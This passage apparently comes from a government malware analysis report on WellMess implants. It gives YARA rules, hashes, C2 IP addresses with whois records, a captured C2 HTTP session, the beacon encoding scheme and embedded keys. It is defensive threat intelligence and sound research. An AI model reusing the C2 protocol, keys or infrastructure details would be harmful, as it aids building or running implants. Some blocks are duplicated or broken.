\$1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"
\$2 = "GoProject/src/bot/botlib.deleteFile"
\$3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"
\$4 = "GoProject/src/bot/botlib.AES_Decrypt"
\$5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }
\$6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }
\$7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }
\$8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }
\$9 = "get_keyRC6"
\$10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }
\$11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }
\$12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }
\$13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }
\$14 = "GoProject/src/bot/botlib.wellMess"
\$15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }
\$16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }
\$17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }
\$18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }
\$19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }
\$20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }
\$21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }
\$22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }
\$23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }
\$24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61 72 67 3E 2E 2A 3F }
\$25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }
\$26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }
\$27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }

condition:

(\$0 and \$1 and \$2 and \$3 and \$4) or (\$5 and \$6 and \$7 and \$8 and \$9) or (\$10 and \$11) or (\$12 and \$13) or (\$14) or (\$15 and \$16 and \$17 and \$18) or (\$19 and \$20) or (\$21 and \$22 and \$23) or (\$24) or (\$25 and \$26) or (\$27)
}

ssdeep Matches

No matches found.

Relationships

5ca4a9f655...	Connected_To	209.58.186.196
5ca4a9f655...	Connected_To	141.98.212.55

Description

This artifact is an ELF 64-bit file. It has been identified as a variant of the WellMess malware family. When the file is executed, it attempts to create a C2 connection to one of the following IP addresses:

141.98.212.55 over Transmission Control Protocol(TCP) Port 53

209.58.186.196 over TCP Port 443

The initial C2 connection over port 53 will be a normal WellMess C2 session wherein parts of the message are encrypted with RSA and RC6. Whereas, the C2 session via port 443 will be fully secured via a Secure Sockets Layer (SSL) session.

The following keys and certificates are used to create the secure connection:

—Begin Keys and Certificates—

—Begin Certificate—

```
MIIDAzCCAeugAwIBAgICBnowDQYJKoZIhvcNAQELBQAwKTEOMAwGA1UEBhMFVHVu
aXMxCzAJBgNVBAAoTakiUMQowCAYDVQQDEwEqMB4XDTE4MTIxNjA4NTEzNloXDTI5
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R5Z/j1JiU2o69Cj+31CfqXuIxd712MHSPoqhczXZov8w55MXgvX9NxY31G76X5R3h
71A5grjoww==
```

—End Certificate—

—Begin Certificate—

```
MIIDEDCCAfigAwIBAgICBnUwDQYJKoZIhvcNAQELBQAwKTEOMAwGA1UEBhMFVHVu
aXMxCzAJBgNVBAAoTakiUMQowCAYDVQQDEwEqMB4XDTE5MDIwNTEzNloXDTI5
MDIxNTEzNloHTEOMAwGA1UEBhMFVHVuaXMxCzAJBgNVBAAoTakiUMQowCAYD
VQDEwEqMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwgjuu797/ixV
8DOeOVSBxihX4RO9TI0CKnveqjzbb7a64fjJxIy/WxcpruLaeC1xhaWfxPeoMVJe
```

FZxdiE59uDLdhRjZItEmoRrxGqcZQ94K6G1YoNFBP7dGzn8J+GSP0JdWrHUGkpaq
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Gjt5XCFp0SzMWhOtOes8N97+lQ=

—End Certificate—

—Begin RSA Private Key—

MIIeowIBAAKCAQEAzLZde+H/Bu3mA8xRa2c9DCmdYqncvGC1Re9BO3c+kCcUbVqy
R2t3mPrDpW4L94MDDHEF7LZ5VcXvNCTrfwRKI+ncoGQrs6yR0xM7Ru1ObV/E6GdU
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8sfRIAsGwr0W/HWp5QOSeEF9Qlj37udx8zoo68ROFLe3Rlbc4VsjN4/rC46K1YHb
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Hp/YhOCZAoGBAoiS0Cs6RWtXEnNdSD3ap0M9yqwtRdV7iNcy4PGtIOTICN/3paVF
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vIyz2EuMK0Zz4nNBK6leRFq4GEgwZSr7RakPKU1t3vlhMrRDuSI

—End RSA Private Key—

—Begin Public Key—

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MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAriKDue9YA6DUzYu6WQv  
oWOxp8wel/Ws/5jK1Xsv2f8lJwUDxM+zT4dGL3ZyJLMkbBQk8HyvAm+6331M47vF  
sbva2BCzQxdEWO9ey3LnhCtpQOgjyfp1QcPy4Kx6jj2BiVEtPP9YBa75QkUNR0oO  
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7Q09rndwr4b7gJ56GZGBwVeqkoVmRFM/nNq9aymTOe4PNRdOcpYK7AoT/QjA0IvO  
Q5XOapb3iJWHLlxcGfBRT+ISVfg4PVdXev2wsXFe6h3McXHoN7FZgyo10XiP2QZU  
RQIDAQAB
```

—End Public Key—

—End Keys and Certificates—

The program uses TCP ports 53 and 443 because of the likelihood that these ports would be open on the router. However, outbound TCP connections initiated on TCP port 53 would be unusual, because typically, this port is reserved for the Domain Naming System (DNS) and outbound queries are done using the User Datagram Protocol (UDP) protocol or TCP, while inbound answer records may use both. This activity could be flagged as suspicious.

The malware contains functions that are similar in design to the .NET version of WellMess (47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854). Figures 5-7 detail that both implants contained similar functions named “Work” and “SendMessage”.

In addition, this sample contains a function named “botlib_Exec”, which is very similar in design and purpose to the function named “Command” within the file 47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854. Both implants utilize the same REGEX value to parse executable scripts from data received from a remote operator via a C2 session. (Figure 8).

A primary difference between the implants is that this version initially attempts a C2 session to IP address 141.98.212.55 over port 53. If this C2 server is not available, it will attempt an SSL secured (port 443) C2 session with the C2 IP address 209.58.186.196. The presence of an RSA private key within this implant is likely to facilitate this secure SSL session.

—Begin WellMess C2 session—

POST / HTTP/1.1

Host: 141.98.212.55:53

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0

Content-Length: 422

Content-Type: application/x-www-form-urlencoded; charset=utf-8

Cookie: kODDoMox=1BL6+BSiiy+oacN+71k8zt0+QD9kU+68ED+dmsgi+yPol5+b%2C;

OVbjPRp4=0w1X.+2IB+nuI+58oEfe4+q9P+nrw+pmQk3X+fN%2CB9u+aP%2C3EB.+%3Aa%3A+UOITc+Ew%2Cy5O+Y%2CXTx%2C+Of7mNHE

Accept-Encoding: gzip

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DZ0 rUtgNTf e,j:gB DFd dLSYB mq53txH 8JYY75r EQXyIUk 2FqYSrc. xscOr3E rzbl Q494 Gvkb1q sifD6 pog q0Ybz4D  
asij. 26sQ PkMZPh1 1yV 8VW 0C3038b QpTy8Cf z6mJw oeg. 6MG8,lQ ymdPXR q1tRd Fxg brhM 7cp Zf9JPKV  
CcKyKPK. OFdOqe 6XO oL8kKA qnq 9c2Yc9 ,xm6Gdy ra9 ORzvq. 3BX8q 6rE 2:H 1ALG8G N7yX 8hn3aNR kHykST9  
KucSC2. b0l LJbc6i 9hK2 ZtJ1 jLi9cUA 7VRh G6PGAU qM9n5FD. bTy YMzPKF KKnk0i TyYK SMAV sbE 2Jflrk  
yPmCpN. 2X35q5 JhXg
```

—End WellMess C2 Session—

Screenshots

Figure 5 - This function is similar to the “Work” function found within the WellMess sample 47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854.

Figure 6 - “botlib_Work” function within this WellMess implant, parsing for the same bytes as the “Work” function within WellMess sample 47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854.

Figure 7 - "botlib.SendMessage" function found within this WellMess implant and is similar to the "SendMessage" function contained within 47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854.

Figure 8 - Part of REGEX value this malware utilizes to parse command information, including executable scripts, from data receive from remote operator. This is the same REGEX value the WellMess sample 47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854 uses to parse command data.

141.98.212.55

Tags

command-and-control

Ports

- 53 TCP

Whois

inetnum: 141.98.212.0 - 141.98.212.255
netname: EstNOC-HongKong
descr: EstNOC-Global
country: HK
admin-c: EE2159-RIPE
tech-c: EE2159-RIPE
abuse-c: ACRO394-RIPE
mnt-routes: ESTNOC-MNT
mnt-domains: ESTNOC-MNT
mnt-lower: ESTNOC-MNT
status: SUB-ALLOCATED PA
remarks: - - - LEGAL CONCERNS - - -
remarks: For any legal requests, please send an E-mail to
remarks: eu-legal@estnoc.ee for a maximum of 48hours response.
remarks: - - - LEGAL CONCERNS - - -
org: ORG-EA968-RIPE
mnt-by: ESTNOC-MNT
created: 2019-02-18T10:02:16Z
last-modified: 2020-06-01T20:40:40Z
source: RIPE
organisation: ORG-EA968-RIPE
org-name: ESTNOC-GLOBAL
org-type: OTHER
address: Estonia, Parnumaa, Tori vald, Muti kyla, 86811
e-mail: webmaster@estnoc.ee
abuse-c: ACRO394-RIPE
mnt-ref: ESTNOC-MNT
mnt-by: ESTNOC-MNT
created: 2016-03-02T22:52:16Z

last-modified: 2018-09-19T21:55:53Z
source: RIPE
person: Ego Ennok
address: Estonia, Parnumaa, Tori vald, Muti kyla, 86811
phone: +37258501736
nic-hdl: EE2159-RIPE
mnt-by: ESTNOC-MNT
created: 2016-03-02T21:24:09Z
last-modified: 2016-03-02T21:24:09Z
source: RIPE

Relationships

141.98.212.55	Connected_From	5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb
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Description

5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb attempts to connect to the IP address.

209.58.186.196

Tags

command-and-control

Ports

- 443 TCP

Whois

inetnum: 209.58.184.0 - 209.58.191.255
netname: LSW-HKG-10
country: HK
admin-c: LA249-AP
tech-c: LA249-AP
status: ALLOCATED NON-PORTABLE
mnt-by: MAINT-LSW-SG
mnt-irt: IRT-LSW-SG
last-modified: 2016-07-27T07:50:12Z
source: APNIC
irt: IRT-LSW-SG
address: 18B Keong Saik Road, Singapore 089125
e-mail: apnic@sg.leaseweb.com
abuse-mailbox: abuse@sg.leaseweb.com
admin-c: LAPP1-AP
tech-c: LAPP1-AP
auth: # Filtered
remarks: abuse@sg.leaseweb.com was validated on 2019-12-12

remarks: apnic@sg.leaseweb.com was validated on 2020-06-03
 mnt-by: MAINT-LSW-SG
 last-modified: 2020-06-03T14:50:15Z
 source: APNIC
 person: LSW Apnic
 address: 18B Keong Saik Road, Singapore 089125
 country: SG
 phone: +6531587350
 e-mail: apnic@sg.leaseweb.com
 nic-hdl: LA249-AP
 mnt-by: MAINT-LSW-SG
 last-modified: 2016-06-06T08:59:04Z
 source: APNIC

Relationships

209.58.186.196	Connected_From	5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb
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Description

5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb attempts to connect to the IP address.

7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee

Tags

trojan

Details

Name	7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee
Size	6707096 bytes
Type	ELF 64-bit LSB executable, x86-64, version 1 (SYSV)
MD5	4d38ac3319b167f6c8acb16b70297111
SHA1	01a71390892fad77987aa09a630b04ff72e37d5d
SHA256	7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee
SHA512	aaae4d94f5a1b75917b2c948d4517928b457da0851f65a196b91f30ccd88645a1066b7111db6f7f2267092f8299520044cfcf4400f8285b01db6
ssdeep	49152:Ik2WH801HarM2F75oeZbwriHBvV1WHr0q44gP1mZWPmoFjPnMBMaBJfTBE/k6rYD:ftHBHadoi+L0vcopfMnBz
Entropy	6.005022

Antivirus

Antiy	Trojan/Linux.Agent
Avira	LINUX/Agent.kiivu
BitDefender	Trojan.Linux.Generic.143453
Cyren	ELF/Trojan.JTPD-6
ESET	a variant of Linux/WellMess.B trojan
Emsisoft	Trojan.Linux.Generic.143453 (B)

Ikarus	Trojan.Linux.Agent
McAfee	GenericRXXJ-GH!4D38AC3319B1
TrendMicro	TROJ_FR.C35E7E37
TrendMicro House Call	TROJ_FR.C35E7E37

YARA Rules

- rule CISA_10296782_01 : trojan WELLMESS

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meta:

Author = "CISA Code & Media Analysis"

Date= "2020-07-06"

Last_Modified="20200706_1017"

Actor="n/a"

Category="Trojan"

Family="WellMess"

Description = "Detects WellMess implant and SangFor Exploit"

MD5_1 = "4d38ac3319b167f6c8acb16b70297111"

SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"

MD5_2 = "a32e1202257a2945bf0f878c58490af8"

SHA256_2 = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"

MD5_3 = "861879f402fe3080ab058c0c88536be4"

SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"

MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"

SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09"

MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"

SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"

MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"

SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"

MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"

SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"

MD5_8 = "967fcf185634def5177f74b0f703bdc0"

SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"

MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"

SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"

MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"

SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"

MD5_11 = "8777a9796565effa01b03cf1cea9d24d"

SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"

MD5_12 = "507bb551bd7073f846760d8b357b7aa9"

SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"

strings:

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$0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"
$1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"
$2 = "GoProject/src/bot/botlib.deleteFile"
$3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"
$4 = "GoProject/src/bot/botlib.AES_Decrypt"
$5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }
$6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }
$7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }
$8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }
$9 = "get_keyRC6"
$10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }
$11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }
$12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }
$13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }
$14 = "GoProject/src/bot/botlib.wellMess"
$15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }
$16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }
$17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }
$18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }
$19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }
$20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }
$21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }
$22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }
$23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }
$24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61
72 67 3E 2E 2A 3F }
$25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }
$26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }
$27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }

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condition:

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($0 and $1 and $2 and $3 and $4) or ($5 and $6 and $7 and $8 and $9) or ($10 and $11) or ($12 and $13) or ($14)
or ($15 and $16 and $17 and $18) or ($19 and $20) or ($21 and $22 and $23) or ($24) or ($25 and $26) or ($27)
}

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ssdeep Matches

No matches found.

Relationships

7c39841ba4...	Connected_To	192.48.88.107
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Description

This artifact is an ELF 64-bit file written in Go. It has been identified as a variant of the WellMess malware family. The program is capable of encrypting, decrypting, uploading and downloading files. The malware can also execute commands and send and receive encrypted communications.

When the program is executed, it will attempt to contact its C2 at the IP address, 192.48.88.107 over TCP port 80. The program collects the IP address of the infected system, current username, and domain name to send to the C2. This data string is appended with a unique SHA256 hash. The completed string is then RC6 encrypted and then Base64 encoded. Non-random characters are interspersed into the Base64 string for further obfuscation. The following is an example of the encoded string:

—Begin Encoded String Example—

```
9k90s+7zAwc+UNbXE+oav4+E0s9+aYcT+ICT+pu1e+hre8.+PkzUz+V7%2Cv0cl+V%2CEtY%2CN+bk4+ztw+S0Lg+UDlvmX9k90s+7zAwc+UNbXI
```

—End Encoded String Example—

The string is used to uniquely identify communication to and from the C2. The following is an example of the message format:

—Begin Message Format Example—

```
<;head;>3230302e3230302e3230302e3232317c7c757365727c75736572e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855<;he  
<;title;>rc<;title;><;service;><;service;>
```

—End Message Format Example—

In the example, the string 'rc' between the <title> delimiters indicates that the bot is waiting for a command. The hexadecimal string between the <head> delimiters is the original encoded string. This string translates to the following:

—Begin String Translated—

```
200.200.200.221||user|user  
3230302e3230302e3230302e3232317c7c757365727c75736572e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
```

—End String Translated—

The following Public Key is used for secure communication with the C2:

— Begin Public Key—

```
MiIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh+WnVdCCA5i8cISqd+wR  
BZxqzqhqwF71KW4Z+7yliH9QeTUtlKYMIwxfre1ZcFM+QIpO9HyH4nJNe26r/nTH8  
xi4lfXomWmXpVs8CnjLe7eQCaFh5BJYbjCDSUopgfex/vxpdI/zDuxYlla8zKk6D  
ic184naUNDbzbkR3/SuwV2kxA0EGGdlXi3LAL5aoD8xcR0PUaGuimhJQaO4fASwS  
BZvfx7km3xArlICnqbmRwzqnmh7j7K8eAmXH5pgDwGRR6ctJiS5nz9QlxbMOOhfi  
FKs9by/FpM+rA6gao7AdNTghvNKTvYYSmi0U4UeaTSzKgH5EtqwZRXonSXQpk0ySl  
YwIDAQAB
```

—End Public Key—

192.48.88.107

Tags

command-and-control

Ports

- 80 TCP

HTTP Sessions

- POST / HTTP/1.1

Host: 192.48.88.107

User-Agent: Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8

Content-Length: 424

Content-Type: application/x-www-form-urlencoded; charset=utf-8

Cookie:

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Accept-Encoding: gzip

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Whois

NetRange: 192.48.88.0 - 192.48.91.255
CIDR: 192.48.88.0/22
NetName: TOCICI-NET04
NetHandle: NET-192-48-88-0-1
Parent: NET192 (NET-192-0-0-0-0)
NetType: Direct Allocation
OriginAS: AS14613
Organization: TOCICI LLC (TOCIC)
RegDate: 2012-12-03
Updated: 2012-12-03
Comment: 24hr NOC www.tocici.com
Ref: https://rdap.arin.net/registry/ip/192.48.88.0
OrgName: TOCICI LLC
OrgId: TOCIC
Address: 25 NW 23PL
Address: STE 6-345
City: Portland
StateProv: OR
PostalCode: 97210
Country: US
RegDate: 2009-11-16
Updated: 2017-01-28
Comment: http://www.tocici.com
Ref: https://rdap.arin.net/registry/entity/TOCIC

Relationships

192.48.88.107	Connected_From	7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee
192.48.88.107	Connected_From	fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950

Description

fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950 and 7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee attempts to connect to the IP address.

fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950

Tags

trojan

Details

Name	fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950
Size	4121056 bytes
Type	ELF 64-bit LSB executable, x86-64, version 1 (SYSV)
MD5	ae7a46529a0f74fb83beeb1ab2c68c5c
SHA1	a57c896486564d7663a4dce6fbf723a1deb81378
SHA256	fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950
SHA512	85cba60ab37b138c271da13f899ee61434f56b24fa611e294e614f608fb8cf8b912fc59e0e5cd03070f57d01efadddd689edbaa65962f7ccfa6c70
ssdeep	49152:05RKx7rwGhSA/R/642M91Bj82r4W+26de59I5gj2P4yQmj:q2fwnA/V6g917B6o59Gbj
Entropy	5.876729

Antivirus

Avira	LINUX/Agent.itcql
BitDefender	Trojan.Linux.Generic.131015
ClamAV	Unix.Trojan.WellMess-6706034-0
ESET	a variant of Linux/WellMess.B trojan
Emsisoft	Trojan.Linux.Generic.131015 (B)
Ikarus	Trojan.Linux.Agent

YARA Rules

- rule CISA_10296782_01 : trojan WELLMESS


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{
  meta:
    Author = "CISA Code & Media Analysis"
    Date = "2020-07-06"
    Last_Modified = "20200706_1017"
    Actor = "n/a"
    Category = "Trojan"
    Family = "WellMess"
    Description = "Detects WellMess implant and SangFor Exploit"
    MD5_1 = "4d38ac3319b167f6c8acb16b70297111"
    SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"
    MD5_2 = "a32e1202257a2945bf0f878c58490af8"
    SHA256_2 = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
    MD5_3 = "861879f402fe3080ab058c0c88536be4"
            
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SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"
MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"
SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09"
MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"
SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"
MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"
SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"
MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"
SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"
MD5_8 = "967fcf185634def5177f74b0f703bdc0"
SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"
SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"
MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"
SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"
MD5_11 = "8777a9796565effa01b03cf1cea9d24d"
SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"
MD5_12 = "507bb551bd7073f846760d8b357b7aa9"
SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"

strings:

\$0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"
\$1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"
\$2 = "GoProject/src/bot/botlib.deleteFile"
\$3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"
\$4 = "GoProject/src/bot/botlib.AES_Decrypt"
\$5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }
\$6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }
\$7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }
\$8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }
\$9 = "get_keyRC6"
\$10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }
\$11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }
\$12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }
\$13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }
\$14 = "GoProject/src/bot/botlib.wellMess"
\$15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }
\$16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }
\$17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }
\$18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }

\$19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }

\$20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }

\$21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }

\$22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }

\$23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }

\$24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61 72 67 3E 2E 2A 3F }

\$25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }

\$26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }

\$27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }

condition:

(\$0 and \$1 and \$2 and \$3 and \$4) or (\$5 and \$6 and \$7 and \$8 and \$9) or (\$10 and \$11) or (\$12 and \$13) or (\$14) or (\$15 and \$16 and \$17 and \$18) or (\$19 and \$20) or (\$21 and \$22 and \$23) or (\$24) or (\$25 and \$26) or (\$27)

}

ssdeep Matches

No matches found.

Relationships

fd3969d323...	Connected_To	192.48.88.107
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Description

This artifact is an ELF 64-bit written in Go. It has been identified as a variant of the WellMess malware family.

When executed, it attempts to collect the following data from the victim's system:

—Begin Data Collected—

IP address of the victim system

Current username

Domain name

